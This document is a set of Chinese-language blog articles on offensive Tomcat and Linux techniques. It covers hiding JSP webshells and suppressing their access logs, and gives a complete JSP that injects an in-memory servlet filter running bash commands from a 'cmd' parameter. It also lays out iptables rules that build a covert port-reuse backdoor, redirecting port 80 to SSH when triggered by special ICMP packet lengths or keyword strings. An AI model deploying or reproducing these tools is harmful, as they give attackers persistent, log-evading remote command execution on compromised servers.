上一篇文章写了一下如何在 Tomcat 环境下隐藏任意 Jsp 文件,可用于隐藏 Shell。文件虽然隐藏了,但是在访问 Shell 的时候依然会留下访问日志,这一篇文章来就简单说一下隐藏访问日志这件事。

上次我发在 ThreatHunter 社区的 hideshell.jsp 本身是自带日志隐藏功能的。你在访问 hideshell.jsp 的时候,如果 Tomcat 没有经过特殊的日志配置,是不会记录任何访问日志的。下面简单说一下是如何实现的。

需要知道的背景知识(简述):

Container – 容器组件

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine

  2. Host,实现类为 org.apache.catalina.core.StandardHost

  3. Context,实现类为 org.apache.catalina.core.StandardContext

  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的。

Engine:最顶层容器组件,其下可以包含多个 Host。

Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。

Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。

Wrapper:一个 Wrapper 代表一个 Servlet。

Container 接口中定义了 logAccess 方法,以要求组件的实现类提供日志记录的功能。

以上四个组件的实现类都继承自 org.apache.catalina.core.ContainerBase 类,此类实现了 Container 接口。也就是说StandardEngine/StandardHost/StanardContext/StandardWrapper 这四种组件都有日志记录的功能。

org.apache.catalina.core.ContainerBase 对 logAccess 方法的实现如下:

public void logAccess(Request request, Response response, long time,
       boolean useDefault) {

boolean logged = false;

   if (getAccessLog() != null) {
getAccessLog().log(request, response, time);
       logged = true;
   }

if (getParent() != null) {
// No need to use default logger once request/response has been logged
       // once
       getParent().logAccess(request, response, time, (useDefault && !logged));
   }
}

从实现可以看出,日志记录采用了类似冒泡的机制,当前组件记录完日志后,会触发上级组件的日志记录功能,一直到顶层。

如果从底层的 Wrapper 组件开始记录日志,则日志的记录过程将是

Wrapper.logAccess –> Context.logAccess –> Host.logAccess –> Engine.logAccess。

当然每一层组件都会检查自己是否配置了日志记录器,如果没有配置,则跳过本层的日志记录,直接转向上级。

这里贴一段 Tomcat conf/server.xml 中的默认配置:

<Engine name="Catalina" defaultHost="localhost">
 ....
<Host name="localhost"  appBase="webapps"
       unpackWARs="true" autoDeploy="true">

   <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
          prefix="localhost_access_log" suffix=".txt"
          pattern="%h %l %u %t &quot;%r&quot; %s %b" />
 </Host>
</Engine>

可以看到在 Host 标签下配置了一个 className 为 org.apache.catalina.valves.AbstractAccessLogValve 的  Vavle。这说明只有 Host 配置了日志记录器, Context 与 Engine 都没有配置。所以在运行的时候,只有 Host 组件会记录日志,日志会以 localhost_access_log 为文件名前缀记录在 tomcat 的 logs 目录下。

上面说到了日志记录器,它在 Tomcat 做为一个 Valve 被实现,以便被插入到 Container 的 pipeline 中,以此来与 Container 关联起来。

实现类为:org.apache.catalina.valves.AccessLogValve

它继承自 org.apache.catalina.valves.AbstractAccessLogValve

同时也继承了 AbstractAccessLogValve 定义的 log 方法。此方法是真正用来做日志记录的方法。 定义如下:

public void log(Request request, Response response, long time) {
if (!getState().isAvailable() || !getEnabled() || logElements == null
           || condition != null
           && null != request.getRequest().getAttribute(condition)
|| conditionIf != null
           && null == request.getRequest().getAttribute(conditionIf)) {
return;
   }

/**
    * XXX This is a bit silly, but we want to have start and stop time and
    * duration consistent. It would be better to keep start and stop
    * simply in the request and/or response object and remove time
    * (duration) from the interface.
    */
   long start = request.getCoyoteRequest().getStartTime();
   Date date = getDate(start + time);

   CharArrayWriter result = charArrayWriters.pop();
   if (result == null) {
result = new CharArrayWriter(128);
   }

for (int i = 0; i < logElements.length; i++) {
logElements[i].addElement(result, date, request, response, time);
   }

log(result);

   if (result.size() <= maxLogMessageBufferSize) {
result.reset();
       charArrayWriters.push(result);
   }
}

实现无痕的秘密就在第一行的那个 if ,满足它后方法会直接退出而不做日志记录:

if (!getState().isAvailable() || !getEnabled() || logElements == null
       || condition != null
       && null != request.getRequest().getAttribute(condition)
|| conditionIf != null
       && null == request.getRequest().getAttribute(conditionIf)) {
return;
}

前面的三个条件也许不好满足,但是后面的

condition != null
&& null != request.getRequest().getAttribute(condition)
|| conditionIf != null
&& null == request.getRequest().getAttribute(conditionIf)

应该是很好满足的,我明显地记得以前看到过通过修改 Tomcat 配置文件添加  conditionIf 来让其不记录某些访问日志的相关资料。 

到这里原理就很简单也很清晰了:运行时遍历所有 Container 组件的日志记录器,设置其 condition 或 conditionIf 属性,并在 request 中添加相应属性来逃避日志记录。

我在 hideshell.jsp 中实现了 nolog 方法,来逃避 Host 的日志记录。 如下:

public static void nolog(HttpServletRequest request) throws Exception {
ServletContext ctx = request.getSession().getServletContext();
   ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
   StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");

   StandardHost host = (StandardHost)standardCtx.getParent();
   AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();

   AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
   for(AccessLog log:logs) {
AccessLogValve logV = (AccessLogValve)log;
       String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
       logV.setCondition(condition);
       request.setAttribute(condition, "n1nty_nolog");
   }
}

注意这里的 nolog 只是做为一个 PoC,它只保证 Host 组件不记录日志,我并没有去遍历所有的上层组件。如果碰到上层组件也有配置日志记录的话,依然会产生访问日志。 有需要的话大家自己动手改吧,很简单的。:)

以上说完了无痕的实现方法。如果将它完整地引入到 hideshell.jsp 中,就会遇到另一个问题。因为我将 nolog 手动添加到了 hideshell.jsp 中,所以访问它的时候才不会产生访问日志。但是当我们利用它来隐藏其它文件比如 jspspy.jsp 的时候,要想隐藏掉 jspspy.jsp 的访问日志,我们是否需要先手动将 nolog 添加到 jspspy.jsp 中?

当然是不需要的。隐藏 log 的原理就是在 request 中设置一个特殊的值, 日志记录器看到 request 中有这个值的存在就不会记录日志。利用 hideshell.jsp 隐藏 jspspy.jsp 后会得到一个 hidden-jspspy.jsp 后,在访问时,我们只需要有一种方法能够将 hidden-jspspy.jsp 的请求拦下来,帮它进行无痕所需要的处理,这样不就好了?

说到这里估计大家直接想到的是过滤器?确实过滤器可以实现,不过用在这里感觉太 low 了。我在更新的 hideshell.jsp 中用了一种类似 JAVA AOP 或 Python decorator 机制的方式来实现了此功能。这里不细说了,有兴趣的可以自己看一下代码。

下面贴两张对比图。

图 1 为 Engine 组件的日志,里面完整记录到了 hideshell.jsp 以及被隐藏的 hidden-jspspy2010.jsp。

图 2 为 Host 组件的日志,没有记录到 hideshell.jsp 以及 hidden-jspspy2010.jsp 的访问日志。:)

1.jpg

图 1  Engine 组件的日志

2.jpg

图 2  Host 组件的日志

*本文作者:n1nty, 首发于作者公众号,转载请注明FreeBuf.COM 

这篇笔记我尽量少贴代码,有兴趣的可以自己去跟一下。

需要知道的背景知识

1. 在 tomcat 的 conf/web.xml 文件中配置了一个如下的 servlet:

<servlet>
   <servlet-name>jsp</servlet-name>
   <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
   <init-param>
       <param-name>fork</param-name>
       <param-value>false</param-value>
   </init-param>
   <init-param>
       <param-name>xpoweredBy</param-name>
       <param-value>false</param-value>
   </init-param>
   <load-on-startup>3</load-on-startup>
</servlet>

<servlet-mapping>
   <servlet-name>jsp</servlet-name>
   <url-pattern>*.jsp</url-pattern>
   <url-pattern>*.jspx</url-pattern>
</servlet-mapping>

这意味着,tomcat 接收到的所有的 jsp 或 jspx 的请求,都会转交给 

org.apache.jasper.servlet.JspServlet

来处理,由它来将请求导向至最终的位置。

2. Jsp 文件会被转换为 Java 文件,并随后被编译为 class。转换后的文件与编译后的 class 默认保存在 Tomcat 下的 work 目录中。请求最终会被导向至从 Jsp 文件编译出来的 class 的对象上。

3.  Jsp 被编译并被加载实例化后,会被封装在一个 JspServletWrapper 对象中。在 Tomcat 中,每一个 Context 都对应有一个 JspRuntimeContext 对象,该对象中以 Map 的形式,以 path(如 /index.jsp) 为key 保存了当前 Context 中所有的 JspServletWrapper 对象。

4. 被编译并且被 Tomcat 加载后(创建了对应的 JspServletWrapper 对象后),Jsp 文件以及转换出来的 Java 文件以及由 Java 文件编译出来的 class 文件,在一定程度上来说,都是可有可无的。

这里简述一下 Tomcat 会在什么时候对 Jsp 进行编译

  1. 当 Tomcat 处于 development 模式时(这是默认的),当一个 Jsp 第一次被请求时,会对被请求的文件进行编译。随后,每次请求时,都会对文件进行更新检查,一旦发现源 Jsp 文件有变更,则将重新编译。而如果发现源 Jsp 文件不存在了,则会出现 404,这是我们要 “欺骗” 的一个地方。

  2. 当 Tomcat 处于非 development 模式,且 JspServlet 的初始化参数 checkInterval 的值大于 0 的时候,Tomcat 将采用后台编译的方式 。这种情况下,当一个 Jsp 第一次被访问的时候,它将会被编译。随后每隔指定的时间,会有一个后台线程对这些 Jsp 文件进行更新检查,如果发现文件有更新,则将在后台进行重新编译,如果发现文件不存在了,将从 JspRuntimeContext 中删除对应的 JspServletWrapper 对象,导致我们随后的访问出现 404。这是我们要欺骗的另一个地方,虽然看起来与上面是一样的,但是体现在代码中却不太一样。

讲到这里,所谓 “隐藏任意 Jsp 文件” 的原理也就很简单了。只要在 Jsp编译完成后,删掉原有 Jsp 文件,并 “欺骗” Tomcat 让它认为文件依然存在,就可以了。

简述一下 Tomcat 接收请求的过程,当然这里只简述请求到达 JspServlet 后发生的事情,之前的事情就太多了。这里从 JspServlet 的 serviceJspFile 开始说起,代码如下:

private void serviceJspFile(HttpServletRequest request,
                           HttpServletResponse response, String jspUri,
                           boolean precompile)
throws ServletException, IOException {

JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
   if (wrapper == null) {
synchronized(this) {
wrapper = rctxt.getWrapper(jspUri);
           if (wrapper == null) {
// Check if the requested JSP page exists, to avoid
               // creating unnecessary directories and files.
               if (null == context.getResource(jspUri)) {
handleMissingResource(request, response, jspUri);
                   return;
               }
wrapper = new JspServletWrapper(config, options, jspUri,
                                               rctxt);
               rctxt.addWrapper(jspUri,wrapper);
           }
}
}

try {
wrapper.service(request, response, precompile);
   } catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
   }

}

它的主要作用就是检查 JspRuntimeContext 中是否已经存在与当前 Jsp 文件相对应的 JspServletWrapper(如果存在的话,说明这个文件之前已经被访问过了)。有的话就取出来,没有则检查对应的 Jsp 文件是否存在,如果存在的话就新创建一个 JspServletWrapper 并添加到 JspRuntimeContext 中去。

随后会进入 JspServletWrapper 的 service 方法,如下(我对代码进行了删减,只看与主题有关的部分):

public void service(HttpServletRequest request,
                   HttpServletResponse response,
                   boolean precompile)
throws ServletException, IOException, FileNotFoundException {

Servlet servlet;

   try {

/*
        * (1) Compile
        */
       if (options.getDevelopment() || firstTime ) {
synchronized (this) {
firstTime = false;

               // The following sets reload to true, if necessary
               ctxt.compile();
           }
} else {
if (compileException != null) {
// Throw cached compilation exception
               throw compileException;
           }
}

/*
        * (2) (Re)load servlet class file
        */
       servlet = getServlet();

       // If a page is to be precompiled only, return.
       if (precompile) {
return;
       }

} catch (ServletException ex) {
.....
}

/*
        * (4) Service request
        */
       if (servlet instanceof SingleThreadModel) {
// sync on the wrapper so that the freshness
          // of the page is determined right before servicing
          synchronized (this) {
servlet.service(request, response);
           }
} else {
servlet.service(request, response);
       }
} catch (UnavailableException ex) {
....
}
}

可以看到,主要流程就是编译 Jsp,然后进入编译出来的 Jsp 的 service 方法,开始执行  Jsp 内的代码。这里先判断当前 Jsp 是不是第一次被访问,或者 Tomcat 是否处于 development 模式中。如果是,则会进入 

ctxt.compile();

对 Jsp 进行编译。ctxt 是 JspCompilationContext 的对象,该对象内封装了与编译 Jsp 相关的所有信息,每一个 JspServletWrapper 里面都有一个自己的 JspCompilationContext。也就是在 compile 方法里面,对 Jsp 文件的更改以及删除做了检查。 

而当 Tomcat 利用后台线程来对 Jsp 的更新删除做检查的时候,是不会经过这里的,而是直接进入 JspCompilationContext 的 compile 方法(也就是上文的 ctxt.compile() 方法)。代码如下:

public void compile() throws JasperException, FileNotFoundException {
createCompiler();
   if (jspCompiler.isOutDated()) {
if (isRemoved()) {
throw new FileNotFoundException(jspUri);
       }
try {
jspCompiler.removeGeneratedFiles();
           jspLoader = null;
           jspCompiler.compile();
           jsw.setReload(true);
           jsw.setCompilationException(null);
       } catch (JasperException ex) {
// Cache compilation exception
           jsw.setCompilationException(ex);
           if (options.getDevelopment() && options.getRecompileOnFail()) {
// Force a recompilation attempt on next access
               jsw.setLastModificationTest(-1);
           }
throw ex;
       } catch (FileNotFoundException fnfe) {
// Re-throw to let caller handle this - will result in a 404
           throw fnfe;
       } catch (Exception ex) {
JasperException je = new JasperException(
Localizer.getMessage("jsp.error.unable.compile"),
                   ex);
           // Cache compilation exception
           jsw.setCompilationException(je);
           throw je;
       }
}
}

JspCompilationContext 对象内有一个 Compile 对象,用它来对 Jsp 进行更新检查以及编译。jspCompile.isOutDated 方法代码如下:

public boolean isOutDated(boolean checkClass) {

if (jsw != null
           && (ctxt.getOptions().getModificationTestInterval() > 0)) {

if (jsw.getLastModificationTest()
+ (ctxt.getOptions().getModificationTestInterval() * 1000) > System
.currentTimeMillis()) {
return false;
       }
jsw.setLastModificationTest(System.currentTimeMillis());
   }

Long jspRealLastModified = ctxt.getLastModified(ctxt.getJspFile());
   if (jspRealLastModified.longValue() < 0) {
// Something went wrong - assume modification
       return true;
   }
......
}

我们只需要让此方法返回 false,那么无论 Tomcat 在何时对 Jsp 文件进行编译或者更新检查,都会认为这个 JspServletWrapper 对象的 Jsp 文件没有发生任何更改,所以也就不会发现文件被删掉了。它会继续保留这个 JspServletWrapper 对象以供客户端访问。

后面就没有什么好说的了,如何进行“欺骗”,大家直接看效果吧。将 hideshell.jsp (在后面提供) 放在 webapps/ROOT 下,同目录下有传说中的 jspspy2011.jsp:

1.jpg

2.jpg

Tomcat 启动后,先访问一下 jspspy2011.jsp,目的是为了让 Tomcat 将它编译,并生成 JspServletWrapper 保存在 JspRuntimeContext 中(其实我们也可以自己用代码来编译,但是我太懒)。然后再访问 hideshell.jsp,如下图:

3.jpg

点击 “Hide /jspspy2011.jsp”,会发现 webapps/ROOT 目录下的 jspspy2011.jsp 消失了,再访问 jspspy2011.jsp 出现了 404。Shell 被“隐藏”了,而且访问路径被更改成了 hidden-jspspy2011.jsp:

4.jpg

5.jpg

同时再回到 hideshell.jsp,它会提示 /hidden-jspspy2011.jsp 是一个疑似的隐藏文件:

6.jpg

hideshell.jsp 会尝试将被隐藏的 Jsp 文件与它生成的 Java 与 class 文件全部删掉。但是我发现如果 Jsp 中使用了内部类,这些内部类所编译出来的 class 不会被删掉。

“隐藏” 任意 Jsp 文件到此已经实现了。可是虽然文件看不到了,当我们在访问隐藏后的路径的时候,依然会产生日志。那么下一篇笔记,有可能分享一下在隐藏 Shell 的同时,如何隐藏掉它们产生的访问日志。

其实细心的话你会发现,你在访问这个 hideshell.jsp 的时候,如果你的日志使用的是默认配置的话,Tomcat 是不会记录你的访问日志的。:)

7.jpg

*本文作者:n1nty, 首发于作者公众号,转载请注明FreeBuf.COM

抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器 

过滤器的基础概念以及作用这里不写了。

 Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:

FilterRegistration.Dynamic addFilter(String filterName,String className)

FilterRegistration.Dynamic addFilter(String filterName,Filter filter)

FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass) 

这三个方法使得我们可以在运行时动态地添加过滤器。

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现,因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常:

1.jpeg

我看了一下这个 if 之后的语句,并不是太复杂,这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利,我完全复制了后面的逻辑,但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程,发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的:

2.jpg

真正的组装方法位于:

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

代码太长不截图了,有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

3.jpg 

我将 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法内的细节与自己写的插入过滤器的细节做了对比,得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的 Jsp文件。直接看代码吧: 

<%@ page language="java" contentType="text/html; charset=UTF-8"
   
pageEncoding="UTF-8"%>
<%@ page import=
"java.io.IOException"%>
<%@ page import=
"javax.servlet.DispatcherType"%>
<%@ page import=
"javax.servlet.Filter"%>
<%@ page import=
"javax.servlet.FilterChain"%>
<%@ page import=
"javax.servlet.FilterConfig"%>
<%@ page import=
"javax.servlet.FilterRegistration"%>
<%@ page import=
"javax.servlet.ServletContext"%>
<%@ page import=
"javax.servlet.ServletException"%>
<%@ page import=
"javax.servlet.ServletRequest"%>
<%@ page import=
"javax.servlet.ServletResponse"%>
<%@ page import=
"javax.servlet.annotation.WebServlet"%>
<%@ page import=
"javax.servlet.http.HttpServlet"%>
<%@ page import=
"javax.servlet.http.HttpServletRequest"%>
<%@ page import=
"javax.servlet.http.HttpServletResponse"%>
<%@ page import=
"org.apache.catalina.core.ApplicationContext"%>
<%@ page import=
"org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import=
"org.apache.catalina.core.StandardContext"%>
<%@ page import=
"org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import=
"org.apache.catalina.Context"%>
<%@ page import=
"java.lang.reflect.*"%>
<%@ page import=
"java.util.EnumSet"%>
<%@ page import=
"java.util.Map"%>


<!DOCTYPE html PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv=
"Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name =
"n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField(
"context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField(
"context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField(
"filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
   out.println(
"inject "+ name);
  
   Filter filter = new Filter() {
      @Override
      public void init(FilterConfig arg0) throws ServletException {
         // TODO Auto-generated method stub
      }
     
      @Override
      public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
            throws IOException, ServletException {
         // TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
         if (req.getParameter(
"cmd") != null) {
            byte[] data = new byte[
1024];
            Process p = new ProcessBuilder(
"/bin/bash","-c", req.getParameter("cmd")).start();
            int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data,
0, len));
            return;
         }
         arg2.doFilter(arg0, arg1);
      }
     
      @Override
      public void destroy() {
         // TODO Auto-generated method stub
      }
   };
  
   FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
   
    standardCtx.addFilterDef(filterDef);
  
   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern(
"/*");
  
  
   standardCtx.addFilterMapBefore(m);
  
  
   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
   constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
  
  
    filterConfigs.put(name, filterConfig);
   
    out.println(
"injected");
}
%>
</body>
</html>

将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp,访问后如果看到“injected” 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后,任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。

4.jpg

5.jpg

2. 动态插入 Valve

Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制,那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链,而valve就相当于拦截器。 

Valve 接口定义了如下的 invoke 方法:

publicvoid invoke(Request requestResponse response)
    
throws IOExceptionServletException;

我们只需在运行时向 Engine/Host/Context/Wrapper  这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效,而valve 如果插到最顶层的container 也就是 Engine,则会对 Engine 下的所有的context 生效。 

以上两种方式,利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求,因为在这些流程之前,Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求,虽然被请求的文件可以不存在。如果想利用非HTTP 协议,则需要在tomcat 的Connector 上做手脚,这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。

*本文作者:n1nty, 首发于作者公众号,转载请注明FreeBuf.COM

有一天坐地铁的时候突然想到利用 iptables nat 表的 PREROUTING 链配合 REDIRECT 应该是可以达到端口复用的效果的。比如在服务器的 PREROUTING 链里面加一条规则,将到本机 80 端口的流量 REDIRECT 到 22 端口,就算 80 端口正在被 Apache 监听,此流量也能成功到达 22 端口,因为 nat 表的 PREROUTING 链会在路由决策之前被处理。

远程遥控 IPTables 进行端口复用

现在的问题只有一个,如何区分到 80 端口的正常流量和“复用流量”? 正常的的 HTTP 流量应该让它正常地发往 Apache,而“复用流量”应该前往 22 端口。答案也很简单,只要“复用流量”有特征就可以了。

当天晚上我简单写了一个 PoC 来验证我的想法,如下:192.168.33.78 为虚拟机的 IP,虚拟机上用 python 在 80 端口启动了一个 http 服务虚拟机上执行:

# 将发送本机 80 端口,源端口为 8989 的流量重定向至本机 22 端口
/sbin/iptables -t nat -A PREROUTING -p tcp --sport 8989 --dport 80 -j REDIRECT --to-port 22

本地执行:

# socat 监听本地 2326 端口,接收到链接后,利用本地的 8989 端口将流量转至虚拟机的 80 端口
socat tcp-listen:2326,fork,reuseaddr tcp:192.168.33.78:80,sourceport=8989,reuseaddr &
# SSH 连接本地 2326 端口,成功连接上了虚拟机的 SSH,同时本地正常用 curl 是能够访问到虚拟机的 80 端口的 HTTP 服务的
ssh [email protected] -p 2326

效果图:

ping.png

以上是最初的 PoC。它有一个很明显的问题是不支持多链接。 如果想创建两个 SSH 链接就会出错,因为本地的 8989 端口已经被第一个 SSH 连接占用了。

今天我对这个方法进行了改进,不再用 source port 做为 “复用流量” 的标识,所以也就不再用 socat 来进行一次本地的转发了。同时,加入了远程遥控端口复用开关的功能。我这里直接放出脚本代码:

第一种方式:利用 icmp 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。

# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

开启复用前,WEB 是可以访问的:

web.png

开启复用ping -c 1 -s 1111 192.168.33.78向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)

关闭复用ping -c 1 -s 1112 192.168.33.78向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)

效果图:

ping_remote.png

第二种方式:利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。

# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH,80 将无法再被本机访问:echo threathuntercoming | socat – tcp:192.168.33.78:80

关闭复用,关闭后,80 恢复正常:echo threathunterleaving | socat – tcp:192.168.33.78:80

效果图:

string_remote.png

只要有特征,就可以做为远程遥控的标志。我这里只是想验证一下自己的想法,所以用了我认为最简单的两种方法。其它方法希望大家自己挖掘,分享。

最后留一个小问题,如果在开启 tcpdump 进行抓包的同时,利用 iptables 对数据包进行了更改,那 tcpdump 抓到的是更改之前的包还是更改之后的包呢? :)

说明:本文由 ThreatHunter 社区成员 n1nty 首发于 ThreatHunter 社区: 国内首个专注于高级威胁发现与安全数据分析的社区

*本文作者:n1nty,转载请注明FreeBuf.COM